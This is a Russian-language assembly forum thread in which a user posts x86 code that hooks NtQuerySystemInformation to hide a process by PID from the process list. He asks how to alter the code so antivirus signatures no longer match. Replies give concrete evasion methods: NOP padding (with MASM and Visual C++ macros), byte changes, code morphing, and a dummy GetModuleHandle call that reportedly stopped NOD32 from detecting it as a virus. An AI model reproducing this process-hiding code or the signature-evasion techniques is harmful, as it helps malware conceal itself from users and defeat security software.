Подправте asm код

Тема в разделе "WASM.BEGINNERS", создана пользователем limit, 26 авг 2010.

  1. limit

    limit New Member

    Публикаций:
    0
    Регистрация:
    26 авг 2010
    Сообщения:
    2
    Есть код, нужно его немного поменять.
    Я в асме 0. Вот сам код:
    Код (Text):
    1. push ReturnLength
    2.  push SystemInformationLength
    3.  push SystemInformation  
    4.  push dword ptr SystemInformationClass  
    5.  call dword ptr [addr_NtQuerySystemInformation]  
    6.  or eax,eax  
    7.  jl quit  
    8.  cmp SystemInformationClass, SystemProcessesAndThreadsInformation  
    9.  jne quit  
    10.  onceagain:  
    11.  mov esi, SystemInformation  
    12.  getnextpidstruct:  
    13.  mov ebx, esi  
    14.  cmp dword ptr [esi],0  
    15.  je quit  
    16.  add esi, [esi]  
    17.  mov ecx, [esi+44h]  
    18.  cmp ecx, mypid  
    19.  jne getnextpidstruct  
    20.  mov edx, [esi]  
    21.  test edx, edx  
    22.  je fillzero  
    23.  add [ebx], edx  
    24.  jmp onceagain  
    25.  fillzero:  
    26.  and [ebx], edx  
    27.  jmp onceagain  
    28.  quit:  
    29.  mov Result, eax
    Можно его как нибуть перекрутить, чтоб суть не менялась, а лишь немного изменить его вид, может в процедуру сунуть иль как там в асме?)
    Парни, выручайте.)
     
  2. censored

    censored New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2005
    Сообщения:
    1.615
    Адрес:
    деревня "Анонимные Прокси"
    Можно все строчки местами поменять.
     
  3. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    limit
    И какая сигнатура у него ?
     
  4. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    После каждой строчки вставь от 10 nop-ов.
    nop - это пустая инструкция, но сигнатуру тебе собьет :)


    Например вот так:

    Код (Text):
    1. push ReturnLength
    2.  nop
    3.  nop
    4.  nop
    5.  nop
    6.  nop
    7.  nop
    8.  nop
    9.  nop
    10.  nop
    11.  nop
    12.  push SystemInformationLength
    13.  nop
    14.  nop
    15.  nop
    16.  nop
    17.  nop
    18.  nop
    19.  nop
    20.  nop
    21.  nop
    22.  nop
    23.  push SystemInformation  
    24.  nop
    25.  nop
    26.  nop
    27.  nop
    28.  nop
    29.  nop
    30.  nop
    31.  nop
    32.  nop
    33.  nop
    34.  push dword ptr SystemInformationClass  
    35.   nop
    36.  nop
    37.  nop
    38.  nop
    39.  nop
    40.  nop
    41.  nop
    42.  nop
    43.  nop
    44.  nop
    45.  call dword ptr [addr_NtQuerySystemInformation]  
    46.   nop
    47.  nop
    48.  nop
    49.  nop
    50.  nop
    51.  nop
    52.  nop
    53.  nop
    54.  nop
    55.  nop
    56.  ; ... и так далее
    57. .. и так далее
    Если пишешь на масме, то можно вот так

    Код (Text):
    1. push ReturnLength
    2.  db 20 dup (90h)
    3.  push SystemInformationLength
    4.  db 20 dup (90h)
    5.  push SystemInformation  
    6.  db 20 dup (90h)
    7.  push dword ptr SystemInformationClass  
    8.  db 20 dup (90h)
    9.  call dword ptr [addr_NtQuerySystemInformation]  
    10.  db 20 dup (90h)
    11. ; ... и так далее
     
  5. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    dyn
    Это разбавление мусором. Достаточно изменить только один байт, так как аверские сканеры не могут на данный момент обрабатывать мусор, а тупо в памяти сравнивают хэш из базы с полученным от строки.
     
  6. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.252
    напишите этот код в том, в чем вы не ноль...
     
  7. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Clerk
    Я просто не знаю, откуда и докуда посчитан хеш. И автор тоже 100% не знает где именно сигнатура, с какого и по какой байт. Поэтому имхо, так максимально универсально.
     
  8. limit

    limit New Member

    Публикаций:
    0
    Регистрация:
    26 авг 2010
    Сообщения:
    2
    Этот код я вставлю в с++
    Сейчас натыкаю "nop"’ов =)
    Всем спасибо
     
  9. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    limit в студии для повышения читабельности можно вот так сделать:

    Код (Text):
    1. #define _NOPS _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop}
    2.  
    3. // ... тут какой-то код, данные, и т.д.
    4.  
    5. _asm
    6. {
    7.   push ReturnLength
    8.   _NOPS
    9.  push SystemInformationLength
    10.  _NOPS
    11.  push SystemInformation  
    12.  _NOPS
    13.  // .. и т.д.
    14.  
    15. }
     
  10. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    dyn
    А можно просто отморфить.
     
  11. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.252
    зачем?
     
  12. JCronuz

    JCronuz New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2007
    Сообщения:
    1.240
    Адрес:
    Russia
    Вставлял перед кодом вызов
    Код (Text):
    1. invoke GetModuleHandle, NULL
    и нод уже не выскакивал что это вирус :)